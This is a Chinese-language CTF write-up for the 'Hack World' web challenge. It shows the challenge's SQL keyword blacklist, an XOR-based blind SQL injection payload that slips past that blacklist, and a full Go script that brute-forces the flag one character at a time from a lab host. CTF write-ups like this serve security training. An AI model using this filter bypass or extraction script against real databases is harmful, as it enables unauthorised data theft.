华北赛区 Day2 Web1]Hack World解题思路
0x01 小tips
首先我们看提示 all you want is in table 这句话的意思表名了已经给你表名和列名了,接下来需要我们自己去拿flag。
0x02 分析
当我随便输入一个注入语句的时候发现有注入检测,sql injection checked,那么接下来看了看网上给出的代码发现过滤了这些,但是并没有对select if ascii substr等函数进行过滤。
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
0x03 开始绕过
and 不是之前我们看见已经被黑名单了,但是我们可以使用异或符号 ^ 进行绕过,之后构建payload也很简单直接 (if(ascii(substr((select(flag)from(flag))))=102,0,1)) 就完事。
0x04 开始编写exploit
接下来我用golang进行编写exploit,golang确实是个好东西,第一次由于字符for循环了20次 flag 出来一半直接给我停了,还得再跑一遍,于是我修改for次数为50。
0x05 exploit 代码
大家可以没事玩玩golang,修改一下下面的代码,golang虽然不适合写脚本,但是能实现正统的编程逻辑。
package main
import (
"fmt"
"net/http"
"strconv"
"strings"
)
func exp(url string,payload string) string {
client:=&http.Client{}
req,err:=http.NewRequest("POST",url,strings.NewReader(payload))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
if err!=nil{
fmt.Println("request error")
}
response,err:=client.Do(req)
buffer:=make([]byte,1024*5)
n,_:=response.Body.Read(buffer)
return string(buffer[:n])
}
func main(){
for i:=1;i<50;i++{
for x:=0;x<200;x++{
payload:=fmt.Sprintf("id=1^(if((ascii(substr((select(flag)from(flag)),%s,1))=%s),0,1))",strconv.Itoa(i),strconv.Itoa(x))
//fmt.Println(payload)
str:=exp("http://c0c3bc61-8adf-4717-97a1-82c8d993f422.node3.buuoj.cn/index.php",payload)
isget:=strings.Contains(str,"Hello")
if(isget){
fmt.Printf(string(x))
break
}
}
}
}